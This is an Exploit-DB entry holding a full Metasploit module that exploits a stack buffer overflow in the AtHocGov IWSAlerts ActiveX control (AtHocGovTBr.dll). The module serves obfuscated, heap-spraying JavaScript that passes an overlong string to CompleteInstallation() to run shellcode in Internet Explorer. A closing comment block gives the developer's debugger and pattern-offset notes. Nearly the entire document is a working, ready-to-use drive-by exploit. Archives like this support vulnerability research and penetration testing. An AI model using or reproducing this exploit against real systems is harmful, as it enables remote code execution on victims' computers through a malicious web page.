Exploit-DB #16534
Description: AtHocGov IWSAlerts - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: athocgov_completeinstallation.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
				sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
				(6.1.4.36) an attacker may be able to execute arbitrary code. This
				vulnerability was silently patched by the vendor.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'URL', 'http://www.athoc.com/products/IWSAlerts_overview.aspx' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
				],
			'DisclosureDate' => 'Feb 15 2008',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)

		js = %Q|
			try {
				var evil_string = "";
				var index;
				var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
				var my_unescape = unescape;
				var shellcode = '#{shellcode}';
				#{js_heap_spray}
				sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
				for (index = 0; index < 12500; index++) {
					evil_string = evil_string + my_unescape('#{ret}');
				}
				vulnerable.CompleteInstallation(evil_string);
			} catch( e ) { window.location = 'about:blank' ; }
		|

		opts = {
			'Strings' => true,
			'Symbols' => {
				'Variables' => [
					'vulnerable',
					'shellcode',
					'my_unescape',
					'index',
					'evil_string',
				]
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		js.update_opts(js_heap_spray.opts)
		js.obfuscate()
		content = %Q|
			<html>
			<body>
				<script><!--
				#{js}
				//</script>
			</body>
			</html>
			|

		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
=begin
IDL info...
	[id(0x00000022)]
	HRESULT CompleteInstallation([in] BSTR strParam);

$~/trunk/./msfpescan -f AtHocGovTBr.dll
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]

// smash /GS
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie
 SecurityCookie                 0x4278193c

// /SafeSEH, not today.
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH
 SEHandlerTable                 0x42774e40
 SEHandlerCount                 0x0000021b

0:000> !exchain
0013cae0: ntdll!_except_handler3+0 (7c90ee18)
  CRT scope  0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)
                func:   ntdll!RtlFreeHeap+617 (7c93bece)
0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)
0013dd9c: 61473161
Invalid exception stack at 47306147
0:000> !pattern_offset 5140 0x47306147
[Byakugan] Control of 0x47306147 at offset 4680.
0:000> !pattern_offset 5140 0x61473161
[Byakugan] Control of 0x61473161 at offset 4684.
=end